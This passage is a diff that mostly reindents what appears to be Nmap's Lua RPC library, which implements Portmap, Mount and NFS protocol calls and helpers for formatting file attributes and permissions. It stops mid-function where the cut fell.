false, string.format("Mount (%s): RPC accepted state: %s", - path, Portmap.AcceptMsg[header.accept_state]) + path, Portmap.AcceptMsg[header.accept_state]) else return false, string.format("Mount (%s): RPC accepted state code %d", - path, header.accept_state) + path, header.accept_state) end end @@ -1147,20 +1147,20 @@ Mount = { if header.state ~= Portmap.State.MSG_ACCEPTED then if (Portmap.RejectMsg[header.denied_state]) then return false, string.format("Unmount: RPC call failed: %s", - Portmap.RejectMsg[header.denied_state]) + Portmap.RejectMsg[header.denied_state]) else return false, string.format("Unmount: RPC call failed: code %d", - header.state) + header.state) end end if header.accept_state ~= Portmap.AcceptState.SUCCESS then if (Portmap.AcceptMsg[header.accept_state]) then return false, string.format("Unmount (%s): RPC accepted state: %s", - path, Portmap.AcceptMsg[header.accept_state]) + path, Portmap.AcceptMsg[header.accept_state]) else return false, string.format("Unmount (%s): RPC accepted state code %d", - path, header.accept_state) + path, header.accept_state) end end @@ -1365,10 +1365,10 @@ NFS = { if (status ~= NFS.StatCode[version].NFS_OK) then if (NFS.StatMsg[status]) then stdnse.print_debug(4, - string.format("%s failed: %s", procedurename, NFS.StatMsg[status])) + string.format("%s failed: %s", procedurename, NFS.StatMsg[status])) else stdnse.print_debug(4, - string.format("%s failed: code %d", procedurename, status)) + string.format("%s failed: code %d", procedurename, status)) end return false @@ -1563,7 +1563,7 @@ NFS = { data = bin.pack("A>I>I", file_handle, cookie, count) end packet = comm:EncodePacket( nil, NFS.Procedure[comm.version].READDIR, - { type=Portmap.AuthType.UNIX }, data ) + { type=Portmap.AuthType.UNIX }, data ) if(not(comm:SendPacket( packet ))) then return false, "ReadDir: Failed to send data" end @@ -1604,51 +1604,51 @@ NFS = { stdnse.print_debug(4, "NFS.LookUpDecode: Failed to call GetAdditionalBytes") return -1, nil end - _, len = Util.unmarshall_uint32(data, pos) - status, data = comm:GetAdditionalBytes( data, pos, len + 4) - if (not(status)) then - stdnse.print_debug(4, "NFS.LookUpDecode: Failed to call GetAdditionalBytes") - return -1, nil - end - pos, lookup.fhandle = bin.unpack( "A" .. len + 4, data, pos) - - status, data = comm:GetAdditionalBytes( data, pos, 4) - if (not(status)) then - stdnse.print_debug(4, "NFS.LookUpDecode: Failed to call GetAdditionalBytes") - return -1, nil - end - - lookup.attributes = {} - pos, value_follows = Util.unmarshall_uint32(data, pos) - if (value_follows ~= 0) then - status, data = comm:GetAdditionalBytes(data, pos, 84) + _, len = Util.unmarshall_uint32(data, pos) + status, data = comm:GetAdditionalBytes( data, pos, len + 4) if (not(status)) then stdnse.print_debug(4, "NFS.LookUpDecode: Failed to call GetAdditionalBytes") return -1, nil end - pos, lookup.attributes = Util.unmarshall_nfsattr(data, pos, comm.version) - else - stdnse.print_debug(4, "NFS.LookUpDecode: File Attributes follow failed") - end + pos, lookup.fhandle = bin.unpack( "A" .. len + 4, data, pos) - status, data = comm:GetAdditionalBytes( data, pos, 4) - if (not(status)) then - stdnse.print_debug(4, "NFS.LookUpDecode: Failed to call GetAdditionalBytes") - return -1, nil - end - - lookup.dir_attributes = {} - pos, value_follows = Util.unmarshall_uint32(data, pos) - if (value_follows ~= 0) then - status, data = comm:GetAdditionalBytes(data, pos, 84) + status, data = comm:GetAdditionalBytes( data, pos, 4) if (not(status)) then stdnse.print_debug(4, "NFS.LookUpDecode: Failed to call GetAdditionalBytes") return -1, nil end - pos, lookup.dir_attributes = Util.unmarshall_nfsattr(data, pos, comm.version) - else - stdnse.print_debug(4, "NFS.LookUpDecode: File Attributes follow failed") - end + + lookup.attributes = {} + pos, value_follows = Util.unmarshall_uint32(data, pos) + if (value_follows ~= 0) then + status, data = comm:GetAdditionalBytes(data, pos, 84) + if (not(status)) then + stdnse.print_debug(4, "NFS.LookUpDecode: Failed to call GetAdditionalBytes") + return -1, nil + end + pos, lookup.attributes = Util.unmarshall_nfsattr(data, pos, comm.version) + else + stdnse.print_debug(4, "NFS.LookUpDecode: File Attributes follow failed") + end + + status, data = comm:GetAdditionalBytes( data, pos, 4) + if (not(status)) then + stdnse.print_debug(4, "NFS.LookUpDecode: Failed to call GetAdditionalBytes") + return -1, nil + end + + lookup.dir_attributes = {} + pos, value_follows = Util.unmarshall_uint32(data, pos) + if (value_follows ~= 0) then + status, data = comm:GetAdditionalBytes(data, pos, 84) + if (not(status)) then + stdnse.print_debug(4, "NFS.LookUpDecode: Failed to call GetAdditionalBytes") + return -1, nil + end + pos, lookup.dir_attributes = Util.unmarshall_nfsattr(data, pos, comm.version) + else + stdnse.print_debug(4, "NFS.LookUpDecode: File Attributes follow failed") + end elseif (comm.version < 3) then status, data = comm:GetAdditionalBytes( data, pos, 32) @@ -1683,7 +1683,7 @@ NFS = { data = Util.marshall_opaque(dir_handle) .. Util.marshall_vopaque(file) packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].LOOKUP, - {type=Portmap.AuthType.UNIX}, data) + {type=Portmap.AuthType.UNIX}, data) if(not(comm:SendPacket(packet))) then return false, "LookUp: Failed to send data" end @@ -1806,7 +1806,7 @@ NFS = { pos, entry.attributes = Util.unmarshall_nfsattr(data, pos, comm.version) else stdnse.print_debug(4, "NFS.ReadDirPlusDecode: %s Attributes follow failed", - entry.name) + entry.name) end status, data = comm:GetAdditionalBytes(data, pos, 4) @@ -1831,9 +1831,9 @@ NFS = { return -1, nil end pos, entry.fhandle = bin.unpack( "A" .. len + 4, data, pos ) - else - stdnse.print_debug(4, "NFS.ReadDirPlusDecode: %s handle follow failed", - entry.name) + else + stdnse.print_debug(4, "NFS.ReadDirPlusDecode: %s handle follow failed", + entry.name) end table.insert(response.entries, entry) end @@ -1849,7 +1849,7 @@ NFS = { if (comm.version < 3) then return false, string.format("NFS version: %d does not support ReadDirPlus", - comm.version) + comm.version) end if not file_handle then @@ -1857,10 +1857,10 @@ NFS = { end data = bin.pack("A>L>L>I>I", file_handle, cookie, - opaque_data, dircount, maxcount) + opaque_data, dircount, maxcount) packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].READDIRPLUS, - {type = Portmap.AuthType.UNIX }, data) + {type = Portmap.AuthType.UNIX }, data) if (not(comm:SendPacket(packet))) then return false, "ReadDirPlus: Failed to send data" @@ -1930,7 +1930,7 @@ NFS = { if (comm.version < 3) then return false, string.format("NFS version: %d does not support FSSTAT", - comm.version) + comm.version) end if not file_handle then @@ -1939,7 +1939,7 @@ NFS = { data = bin.pack("A", file_handle) packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].FSSTAT, - {type = Portmap.AuthType.UNIX}, data) + {type = Portmap.AuthType.UNIX}, data) if (not(comm:SendPacket(packet))) then return false, "FsStat: Failed to send data" @@ -2012,7 +2012,7 @@ NFS = { if (comm.version < 3) then return false, string.format("NFS version: %d does not support FSINFO", - comm.version) + comm.version) end if not file_handle then @@ -2021,7 +2021,7 @@ NFS = { data = Util.marshall_opaque(file_handle) packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].FSINFO, - {type = Portmap.AuthType.UNIX}, data) + {type = Portmap.AuthType.UNIX}, data) if (not(comm:SendPacket(packet))) then return false, "FsInfo: Failed to send data" @@ -2091,7 +2091,7 @@ NFS = { if (comm.version < 3) then return false, string.format("NFS version: %d does not support PATHCONF", - comm.version) + comm.version) end if not file_handle then @@ -2100,7 +2100,7 @@ NFS = { data = Util.marshall_opaque(file_handle) packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].PATHCONF, - {type = Portmap.AuthType.UNIX}, data) + {type = Portmap.AuthType.UNIX}, data) if (not(comm:SendPacket(packet))) then return false, "PathConf: Failed to send data" @@ -2168,7 +2168,7 @@ NFS = { if (comm.version < 3) then return false, string.format("NFS version: %d does not support ACCESS", - comm.version) + comm.version) end if not file_handle then @@ -2177,7 +2177,7 @@ NFS = { data = Util.marshall_opaque(file_handle) .. Util.marshall_uint32(access) packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].ACCESS, - {type = Portmap.AuthType.UNIX}, data) + {type = Portmap.AuthType.UNIX}, data) if (not(comm:SendPacket(packet))) then return false, "Access: Failed to send data" @@ -2246,7 +2246,7 @@ NFS = { if not statfs then return false, "StatFs: Failed to decode statfs structure" end - return true, statfs + return true, statfs end, --- Attempts to decode the attributes section of the reply @@ -2546,9 +2546,9 @@ Helper = { -- TODO: recheck the version mismatch when adding NFSv4 if (nfs_comm.version <= 2 and mnt_comm.version > 2) then stdnse.print_debug(4,"rpc.Helper.ExportStats: versions mismatch, nfs v%d - mount v%d", - nfs_comm.version, mnt_comm.version) + nfs_comm.version, mnt_comm.version) return false, string.format("versions mismatch, nfs v%d - mount v%d", - nfs_comm.version, mnt_comm.version) + nfs_comm.version, mnt_comm.version) end status, result = mnt_comm:Connect(host, mountd.port) if ( not(status) ) then @@ -2619,9 +2619,9 @@ Helper = { -- TODO: recheck the version mismatch when adding NFSv4 if (nfs_comm.version <= 2 and mnt_comm.version > 2) then stdnse.print_debug(4, "rpc.Helper.Dir: versions mismatch, nfs v%d - mount v%d", - nfs_comm.version, mnt_comm.version) + nfs_comm.version, mnt_comm.version) return false, string.format("versions mismatch, nfs v%d - mount v%d", - nfs_comm.version, mnt_comm.version) + nfs_comm.version, mnt_comm.version) end status, result = mnt_comm:Connect(host, mountd.port) if ( not(status) ) then @@ -2695,9 +2695,9 @@ Helper = { -- TODO: recheck the version mismatch when adding NFSv4 if (nfs_comm.version <= 2 and mnt_comm.version > 2) then stdnse.print_debug(4, "rpc.Helper.GetAttributes: versions mismatch, nfs v%d - mount v%d", - nfs_comm.version, mnt_comm.version) + nfs_comm.version, mnt_comm.version) return false, string.format("versions mismatch, nfs v%d - mount v%d", - nfs_comm.version, mnt_comm.version) + nfs_comm.version, mnt_comm.version) end status, result = mnt_comm:Connect(host, mountd.port) @@ -2741,47 +2741,47 @@ Helper = { return true, attribs end, - --- Queries the portmapper for a list of programs - -- - -- @param host table - -- @param port table - -- @return status true on success, false on failure - -- @return table containing the portmapper information as returned by - -- Portmap.Dump - RpcInfo = function( host, port ) - local status, result - local portmap = Portmap:new() - local comm = Comm:new('rpcbind', 2) + --- Queries the portmapper for a list of programs + -- + -- @param host table + -- @param port table + -- @return status true on success, false on failure + -- @return table containing the portmapper information as returned by + -- Portmap.Dump + RpcInfo = function( host, port ) + local status, result + local portmap = Portmap:new() + local comm = Comm:new('rpcbind', 2) - mutex "lock" - - if nmap.registry[host.ip] == nil then - nmap.registry[host.ip] = {} - end - if nmap.registry[host.ip]['portmapper'] == nil then - nmap.registry[host.ip]['portmapper'] = {} - elseif next(nmap.registry[host.ip]['portmapper']) ~= nil then - mutex "done" - return true, nmap.registry[host.ip]['portmapper'] - end - - status, result = comm:Connect(host, port) - if (not(status)) then - mutex "done" - stdnse.print_debug(4, "rpc.Helper.RpcInfo: %s", result) - return status, result - end - - status, result = portmap:Dump(comm) - comm:Disconnect() + mutex "lock" + if nmap.registry[host.ip] == nil then + nmap.registry[host.ip] = {} + end + if nmap.registry[host.ip]['portmapper'] == nil then + nmap.registry[host.ip]['portmapper'] = {} + elseif next(nmap.registry[host.ip]['portmapper']) ~= nil then mutex "done" - if (not(status)) then - stdnse.print_debug(4, "rpc.Helper.RpcInfo: %s", result) - end + return true, nmap.registry[host.ip]['portmapper'] + end + status, result = comm:Connect(host, port) + if (not(status)) then + mutex "done" + stdnse.print_debug(4, "rpc.Helper.RpcInfo: %s", result) return status, result - end, + end + + status, result = portmap:Dump(comm) + comm:Disconnect() + + mutex "done" + if (not(status)) then + stdnse.print_debug(4, "rpc.Helper.RpcInfo: %s", result) + end + + return status, result + end, --- Queries the portmapper for a port for the specified RPC program -- @@ -2872,519 +2872,519 @@ Helper = { -- and File type codes and permissions emulation Util = { - -- Symbolic letters for file permission codes - Fperm = - { - owner = - { - -- S_IRUSR - [0x00000100] = { idx = 1, char = "r" }, - -- S_IWUSR - [0x00000080] = { idx = 2, char = "w" }, - -- S_IXUSR - [0x00000040] = { idx = 3, char = "x" }, - -- S_ISUID - [0x00000800] = { idx = 3, char = "S" }, - }, - group = - { - -- S_IRGRP - [0x00000020] = { idx = 4, char = "r" }, - -- S_IWGRP - [0x00000010] = { idx = 5, char = "w" }, - -- S_IXGRP - [0x00000008] = { idx = 6, char = "x" }, - -- S_ISGID - [0x00000400] = { idx = 6, char = "S" }, - }, - other = - { - -- S_IROTH - [0x00000004] = { idx = 7, char = "r" }, - -- S_IWOTH - [0x00000002] = { idx = 8, char = "w" }, - -- S_IXOTH - [0x00000001] = { idx = 9, char = "x" }, - -- S_ISVTX - [0x00000200] = { idx = 9, char = "t" }, - }, - }, + -- Symbolic letters for file permission codes + Fperm = + { + owner = + { + -- S_IRUSR + [0x00000100] = { idx = 1, char = "r" }, + -- S_IWUSR + [0x00000080] = { idx = 2, char = "w" }, + -- S_IXUSR + [0x00000040] = { idx = 3, char = "x" }, + -- S_ISUID + [0x00000800] = { idx = 3, char = "S" }, + }, + group = + { + -- S_IRGRP + [0x00000020] = { idx = 4, char = "r" }, + -- S_IWGRP + [0x00000010] = { idx = 5, char = "w" }, + -- S_IXGRP + [0x00000008] = { idx = 6, char = "x" }, + -- S_ISGID + [0x00000400] = { idx = 6, char = "S" }, + }, + other = + { + -- S_IROTH + [0x00000004] = { idx = 7, char = "r" }, + -- S_IWOTH + [0x00000002] = { idx = 8, char = "w" }, + -- S_IXOTH + [0x00000001] = { idx = 9, char = "x" }, + -- S_ISVTX + [0x00000200] = { idx = 9, char = "t" }, + }, + }, - -- bit mask used to extract the file type code from a mode - -- S_IFMT = 00170000 (octal) - S_IFMT = 0xF000, + -- bit mask used to extract the file type code from a mode + -- S_IFMT = 00170000 (octal) + S_IFMT = 0xF000, - FileType = - { - -- S_IFSOCK - [0x0000C000] = { char = "s", str = "socket" }, - -- S_IFLNK - [0x0000A000] = { char = "l", str = "symbolic link" }, - -- S_IFREG - [0x00008000] = { char = "-", str = "file" }, - -- S_IFBLK - [0x00006000] = { char = "b", str = "block device" }, - -- S_IFDIR - [0x00004000] = { char = "d", str = "directory" }, - -- S_IFCHR - [0x00002000] = { char = "c", str = "char device" }, - -- S_IFIFO - [0x00001000] = { char = "p", str = "named pipe" }, - }, + FileType = + { + -- S_IFSOCK + [0x0000C000] = { char = "s", str = "socket" }, + -- S_IFLNK + [0x0000A000] = { char = "l", str = "symbolic link" }, + -- S_IFREG + [0x00008000] = { char = "-", str = "file" }, + -- S_IFBLK + [0x00006000] = { char = "b", str = "block device" }, + -- S_IFDIR + [0x00004000] = { char = "d", str = "directory" }, + -- S_IFCHR + [0x00002000] = { char = "c", str = "char device" }, + -- S_IFIFO + [0x00001000] = { char = "p", str = "named pipe" }, + }, - --- Converts a numeric ACL mode to a file type char - -- - -- @param mode number containing the ACL mode - -- @return char containing the file type - FtypeToChar = function(mode) - local code = bit.band(mode, Util.S_IFMT) - if Util.FileType[code] then - return Util.FileType[code].char - else - stdnse.print_debug(1,"FtypeToChar: Unknown file type, mode: %o", mode) - return "" - end - end, + --- Converts a numeric ACL mode to a file type char + -- + -- @param mode number containing the ACL mode + -- @return char containing the file type + FtypeToChar = function(mode) + local code = bit.band(mode, Util.S_IFMT) + if Util.FileType[code] then + return Util.FileType[code].char + else + stdnse.print_debug(1,"FtypeToChar: Unknown file type, mode: %o", mode) + return "" + end + end, - --- Converts a numeric ACL mode to a file type string - -- - -- @param mode number containing the ACL mode - -- @return string containing the file type name - FtypeToString = function(mode) - local code = bit.band(mode, Util.S_IFMT) - if Util.FileType[code] then - return Util.FileType[code].str - else - stdnse.print_debug(1,"FtypeToString: Unknown file type, mode: %o", mode) - return "" - end - end, + --- Converts a numeric ACL mode to a file type string + -- + -- @param mode number containing the ACL mode + -- @return string containing the file type name + FtypeToString = function(mode) + local code = bit.band(mode, Util.S_IFMT) + if Util.FileType[code] then + return Util.FileType[code].str + else + stdnse.print_debug(1,"FtypeToString: Unknown file type, mode: %o", mode) + return "" + end + end, - --- Converts a numeric ACL mode to a string in an octal - -- number format. - -- - -- @param mode number containing the ACL mode - -- @return string containing the octal ACL mode - FmodeToOctalString = function(mode) - local code = bit.band(mode, Util.S_IFMT) - if Util.FileType[code] then - code = bit.bxor(mode, code) - else - code = mode - stdnse.print_debug(1,"FmodeToOctalString: Unknown file type, mode: %o", mode) - end - return stdnse.tooctal(code) - end, + --- Converts a numeric ACL mode to a string in an octal + -- number format. + -- + -- @param mode number containing the ACL mode + -- @return string containing the octal ACL mode + FmodeToOctalString = function(mode) + local code = bit.band(mode, Util.S_IFMT) + if Util.FileType[code] then + code = bit.bxor(mode, code) + else + code = mode + stdnse.print_debug(1,"FmodeToOctalString: Unknown file type, mode: %o", mode) + end + return stdnse.tooctal(code) + end, - --- Converts a numeric ACL to it's character equivalent eg. (rwxr-xr-x) - -- - -- @param mode number containing the ACL mode - -- @return string containing the ACL characters - FpermToString = function(mode) - local tmpacl, acl = {}, "" - for i = 1, 9 do - tmpacl[i] = "-" - end + --- Converts a numeric ACL to it's character equivalent eg. (rwxr-xr-x) + -- + -- @param mode number containing the ACL mode + -- @return string containing the ACL characters + FpermToString = function(mode) + local tmpacl, acl = {}, "" + for i = 1, 9 do + tmpacl[i] = "-" + end - for user,_ in pairs(Util.Fperm) do - local t = Util.Fperm[user] - for i in pairs(t) do - local code = bit.band(mode, i) - if t[code] then - -- save set-ID and sticky bits - if tmpacl[t[code].idx] == "x" then - if t[code].char == "S" then - tmpacl[t[code].idx] = "s" - else - tmpacl[t[code].idx] = t[code].char - end - elseif tmpacl[t[code].idx] == "S" then - if t[code].char == "x" then - tmpacl[t[code].idx] = "s" - end - else - tmpacl[t[code].idx] = t[code].char - end - end + for user,_ in pairs(Util.Fperm) do + local t = Util.Fperm[user] + for i in pairs(t) do + local code = bit.band(mode, i) + if t[code] then + -- save set-ID and sticky bits + if tmpacl[t[code].idx] == "x" then + if t[code].char == "S" then + tmpacl[t[code].idx] = "s" + else + tmpacl[t[code].idx] = t[code].char end - end - - for i = 1,#tmpacl do - acl = acl .. tmpacl[i] - end - - return acl - end, - - --- Converts the NFS file attributes to a string. - -- - -- An optional second argument is the mactime to use - -- - -- @param attr table returned by NFS GETATTR or ACCESS - -- @param mactime to use, the default value is mtime - -- Possible values: mtime, atime, ctime - -- @return string containing the file attributes - format_nfsfattr = function(attr, mactime) - local time = "mtime" - if mactime then - time = mactime - end - - return string.format("%s%s uid: %5d gid: %5d %6s %s", - Util.FtypeToChar(attr.mode), - Util.FpermToString(attr.mode), - attr.uid, - attr.gid, - Util.SizeToHuman(attr.size), - Util.TimeToString(attr[time].seconds)) - end, - - marshall_int32 = function(int32, count) - if count then - return bin.pack(">i" .. count, int32) - end - return bin.pack(">i", int32) - end, - - unmarshall_int32 = function(data, pos, count) - if count then - return bin.unpack(">i" .. count, data, pos) - end - return bin.unpack(">i", data, pos) - end, - - marshall_uint32 = function(uint32, count) - if count then - return bin.pack(">I" .. count, uint32) - end - return bin.pack(">I", uint32) - end, - - unmarshall_uint32 = function(data, pos, count) - if count then - return bin.unpack(">I" .. count, data, pos) - end - return bin.unpack(">I", data, pos) - end, - - marshall_int64 = function(int64, count) - if count then - return bin.pack(">l" .. count, int64) - end - return bin.pack(">l", int64) - end, - - unmarshall_int64 = function(data, pos, count) - if count then - return bin.unpack(">l" .. count, data, pos) - end - return bin.unpack(">l", data, pos) - end, - - marshall_uint64 = function(uint64, count) - if count then - return bin.pack(">L" .. count, uint64) - end - return bin.pack(">L", uint64) - end, - - unmarshall_uint64 = function(data, pos, count) - if count then - return bin.unpack(">L" .. count, data, pos) - end - return bin.unpack(">L", data, pos) - end, - - marshall_opaque = function(data) - local opaque = bin.pack(">A", data) - for i = 1, Util.CalcFillBytes(data:len()) do - opaque = opaque .. string.char(0x00) - end - return opaque - end, - - unmarshall_opaque = function(len, data, pos) - return bin.unpack(">A" .. len, data, pos) - end, - - marshall_vopaque = function(data) - local opaque, l - l = data:len() - opaque = Util.marshall_uint32(l) .. bin.pack(">A", data) - for i = 1, Util.CalcFillBytes(l) do - opaque = opaque .. string.char(0x00) - end - return opaque - end, - - unmarshall_vopaque = function(len, data, pos) - local opaque, pad - pad = Util.CalcFillBytes(len) - pos, opaque = bin.unpack(">A" .. len, data, pos) - return pos + pad, opaque - end, - - unmarshall_nfsftype = function(data, pos, count) - return Util.unmarshall_uint32(data, pos, count) - end, - - unmarshall_nfsfmode = function(data, pos, count) - return Util.unmarshall_uint32(data, pos, count) - end, - - unmarshall_nfssize3 = function(data, pos, count) - return Util.unmarshall_uint64(data, pos, count) - end, - - unmarshall_nfsspecdata3 = function(data, pos) - local specdata3 = {} - pos, specdata3.specdata1, - specdata3.specdata2 = Util.unmarshall_uint32(data, pos, 2) - return pos, specdata3 - end, - - --- Unmarshall NFSv3 fileid field of the NFS attributes - -- - -- @param data The data being processed. - -- @param pos The position within data - -- @return pos The new position - -- @return uint64 The decoded fileid - unmarshall_nfsfileid3 = function(data, pos) - return Util.unmarshall_uint64(data, pos) - end, - - --- Unmarshall NFS time - -- - -- @param data The data being processed. - -- @param pos The position within data - -- @return pos The new position - -- @return table The decoded NFS time table. - unmarshall_nfstime = function(data, pos) - local nfstime = {} - pos, nfstime.seconds, - nfstime.nseconds = Util.unmarshall_uint32(data, pos, 2) - return pos, nfstime - end, - - --- Unmarshall NFS file attributes - -- - -- @param data The data being processed. - -- @param pos The position within data - -- @param number The NFS version. - -- @return pos The new position - -- @return table The decoded file attributes table. - unmarshall_nfsattr = function(data, pos, nfsversion) - local attr = {} - pos, attr.type = Util.unmarshall_nfsftype(data, pos) - pos, attr.mode = Util.unmarshall_nfsfmode(data, pos) - pos, attr.nlink, attr.uid, - attr.gid = Util.unmarshall_uint32(data, pos, 3) - - if (nfsversion < 3) then - pos, attr.size, attr.blocksize, attr.rdev, attr.blocks, - attr.fsid, attr.fileid = Util.unmarshall_uint32(data, pos, 6) - elseif (nfsversion == 3) then - pos, attr.size = Util.unmarshall_nfssize3(data, pos) - pos, attr.used = Util.unmarshall_nfssize3(data, pos) - pos, attr.rdev = Util.unmarshall_nfsspecdata3(data, pos) - pos, attr.fsid = Util.unmarshall_uint64(data, pos) - pos, attr.fileid = Util.unmarshall_nfsfileid3(data, pos) - else - stdnse.print_debug(4, "unmarshall_nfsattr: unsupported NFS version %d", - nfsversion) - return -1, nil - end - - pos, attr.atime = Util.unmarshall_nfstime(data, pos) - pos, attr.mtime = Util.unmarshall_nfstime(data, pos) - pos, attr.ctime = Util.unmarshall_nfstime(data, pos) - - return pos, attr - end, - - --- Returns a string containing date and time - -- - -- @param number of seconds since some given start time - -- (the "epoch") - -- @return string that represents time. - TimeToString = stdnse.format_timestamp, - - --- Converts the size in bytes to a human readable format - -- - -- An optional second argument is the size of a block - -- @usage - -- size_tohuman(1024) --> 1024.0B - -- size_tohuman(926548776) --> 883.6M - -- size_tohuman(246548, 1024) --> 240.8K - -- size_tohuman(246548, 1000) --> 246.5K - -- - -- @param size in bytes - -- @param blocksize represents the number of bytes per block - -- Possible values are: 1024 or 1000 - -- Default value is: 1024 - -- @return string containing the size in the human readable - -- format - SizeToHuman = function(size, blocksize) - local bs, idx = 1024, 1 - local unit = { "B", "K", "M", "G" , "T"} - if blocksize and blocksize == 1000 then - bs = blocksize - end - for i=1, #unit do - if (size > bs and idx < #unit) then - size = size / bs - idx = idx + 1 + elseif tmpacl[t[code].idx] == "S" then + if t[code].char == "x" then + tmpacl[t[code].idx] = "s" end - end - return string.format("%.1f%s", size, unit[idx]) - end, - - format_access = function(mask, version) - local ret, nfsobj = "", NFS:new() - - if nfsobj:AccessRead(mask, version) ~= 0 then - ret = "Read " else - ret = "NoRead " + tmpacl[t[code].idx] = t[code].char end + end + end + end - if nfsobj:AccessLookup(mask, version) ~= 0 then - ret = ret .. "Lookup " - else - ret = ret .. "NoLookup " - end + for i = 1,#tmpacl do + acl = acl .. tmpacl[i] + end - if nfsobj:AccessModify(mask, version) ~= 0 then - ret = ret .. "Modify " - else - ret = ret .. "NoModify " - end + return acl + end, - if nfsobj:AccessExtend(mask, version) ~= 0 then - ret = ret .. "Extend " - else - ret = ret .. "NoExtend " - end + --- Converts the NFS file attributes to a string. + -- + -- An optional second argument is the mactime to use + -- + -- @param attr table returned by NFS GETATTR or ACCESS + -- @param mactime to use, the default value is mtime + -- Possible values: mtime, atime, ctime + -- @return string containing the file attributes + format_nfsfattr = function(attr, mactime) + local time = "mtime" + if mactime then + time = mactime + end - if nfsobj:AccessDelete(mask, version) ~= 0 then - ret = ret .. "Delete " - else - ret = ret .. "NoDelete " - end + return string.format("%s%s uid: %5d gid: %5d %6s %s", + Util.FtypeToChar(attr.mode), + Util.FpermToString(attr.mode), + attr.uid, + attr.gid, + Util.SizeToHuman(attr.size), + Util.TimeToString(attr[time].seconds)) + end, - if nfsobj:AccessExecute(mask, version) ~= 0 then - ret = ret .. "Execute" - else - ret = ret .. "NoExecute" - end + marshall_int32 = function(int32, count) + if count then + return bin.pack(">i" .. count, int32) + end + return bin.pack(">i", int32) + end, - return ret - end, + unmarshall_int32 = function(data, pos, count) + if count then + return bin.unpack(">i" .. count, data, pos) + end + return bin.unpack(">i", data, pos) + end, - --- Return the pathconf filesystem table - -- - -- @param pconf table returned by the NFSv3 PATHCONF call - -- @param nfsversion the version of the remote NFS server - -- @return fs table that contains the remote filesystem - -- pathconf information. - calc_pathconf_table = function(pconf, nfsversion) - local fs = {} - if nfsversion ~= 3 then - return nil, "ERROR: unsupported NFS version." - end + marshall_uint32 = function(uint32, count) + if count then + return bin.pack(">I" .. count, uint32) + end + return bin.pack(">I", uint32) + end, - fs.linkmax = pconf.linkmax - fs.name_max = pconf.name_max + unmarshall_uint32 = function(data, pos, count) + if count then + return bin.unpack(">I" .. count, data, pos) + end + return bin.unpack(">I", data, pos) + end, - if pconf.chown_restricted then - fs.chown_restricted = "True" - else - fs.chown_restricted = "False" - end + marshall_int64 = function(int64, count) + if count then + return bin.pack(">l" .. count, int64) + end + return bin.pack(">l", int64) + end, - return fs, nil - end, + unmarshall_int64 = function(data, pos, count) + if count then + return bin.unpack(">l" .. count, data, pos) + end + return bin.unpack(">l", data, pos) + end, - --- Calculate and return the fsinfo filesystem table - -- - -- @param fsinfo table returned by the NFSv3 FSINFO call - -- @param nfsversion the version of the remote NFS server - -- @param human if set show the size in the human - -- readable format. - -- @return fs table that contains the remote filesystem - -- information. - calc_fsinfo_table = function(fsinfo, nfsversion, human) - local fs = {} - local nfsobj = NFS:new() - if nfsversion ~= 3 then - return nil, "ERROR: unsupported NFS version." - end + marshall_uint64 = function(uint64, count) + if count then + return bin.pack(">L" .. count, uint64) + end + return bin.pack(">L", uint64) + end, - fs.maxfilesize = Util.SizeToHuman(fsinfo.maxfilesize) + unmarshall_uint64 = function(data, pos, count) + if count then + return bin.unpack(">L" .. count, data, pos) + end + return bin.unpack(">L", data, pos) + end, - if nfsobj:FSinfoLink(fsinfo.properties, nfsversion) ~= 0 then - fs.link = "True" - else - fs.link = "False" - end + marshall_opaque = function(data) + local opaque = bin.pack(">A", data) + for i = 1, Util.CalcFillBytes(data:len()) do + opaque = opaque .. string.char(0x00) + end + return opaque + end, - if nfsobj:FSinfoSymlink(fsinfo.properties, nfsversion) ~= 0 then - fs.symlink = "True" - else - fs.symlink = "False" - end + unmarshall_opaque = function(len, data, pos) + return bin.unpack(">A" .. len, data, pos) + end, - return fs, nil - end, + marshall_vopaque = function(data) + local opaque, l + l = data:len() + opaque = Util.marshall_uint32(l) .. bin.pack(">A", data) + for i = 1, Util.CalcFillBytes(l) do + opaque = opaque .. string.char(0x00) + end + return opaque + end, - --- Calculate and return the fsstat filesystem table - -- - -- @param stats table returned by the NFSv3 FSSTAT or - -- NFSv2 STATFS calls - -- @param nfsversion the version of the remote NFS server - -- @param human if set show the size in the human - -- readable format. - -- @return df table that contains the remote filesystem - -- attributes. - calc_fsstat_table = function(stats, nfsversion, human) - local df, base = {}, 1024 - local size, free, total, avail, used, use - if (nfsversion == 3) then - free = stats.fbytes - size = stats.tbytes - avail = stats.abytes - elseif (nfsversion == 2) then - df.bsize = stats.block_size - free = stats.free_blocks * df.bsize - size = stats.total_blocks * df.bsize - avail = stats.available_blocks * df.bsize - else - return nil, "ERROR: unsupported NFS version." - end + unmarshall_vopaque = function(len, data, pos) + local opaque, pad + pad = Util.CalcFillBytes(len) + pos, opaque = bin.unpack(">A" .. len, data, pos) + return pos + pad, opaque + end, - if (human) then - if (df.bsize) then - df.bsize = Util.SizeToHuman(df.bsize) - end - df.size = Util.SizeToHuman(size) - df.available = Util.SizeToHuman(avail) - used = size - free - avail = avail - df.used = Util.SizeToHuman(used) - total = used + avail - else - free = free / base - df.size = size / base - df.available = avail / base - used = df.size - free - df.used = used - total = df.used + df.available - end + unmarshall_nfsftype = function(data, pos, count) + return Util.unmarshall_uint32(data, pos, count) + end, - use = math.ceil(used * 100 / total) - df.use = string.format("%.0f%%", use) - return df, nil - end, + unmarshall_nfsfmode = function(data, pos, count) + return Util.unmarshall_uint32(data, pos, count) + end, + + unmarshall_nfssize3 = function(data, pos, count) + return Util.unmarshall_uint64(data, pos, count) + end, + + unmarshall_nfsspecdata3 = function(data, pos) + local specdata3 = {} + pos, specdata3.specdata1, + specdata3.specdata2 = Util.unmarshall_uint32(data, pos, 2) + return pos, specdata3 + end, + + --- Unmarshall NFSv3 fileid field of the NFS attributes + -- + -- @param data The data being processed. + -- @param pos The position within data + -- @return pos The new position + -- @return uint64 The decoded fileid + unmarshall_nfsfileid3 = function(data, pos) + return Util.unmarshall_uint64(data, pos) + end, + + --- Unmarshall NFS time + -- + -- @param data The data being processed. + -- @param pos The position within data + -- @return pos The new position + -- @return table The decoded NFS time table. + unmarshall_nfstime = function(data, pos) + local nfstime = {} + pos, nfstime.seconds, + nfstime.nseconds = 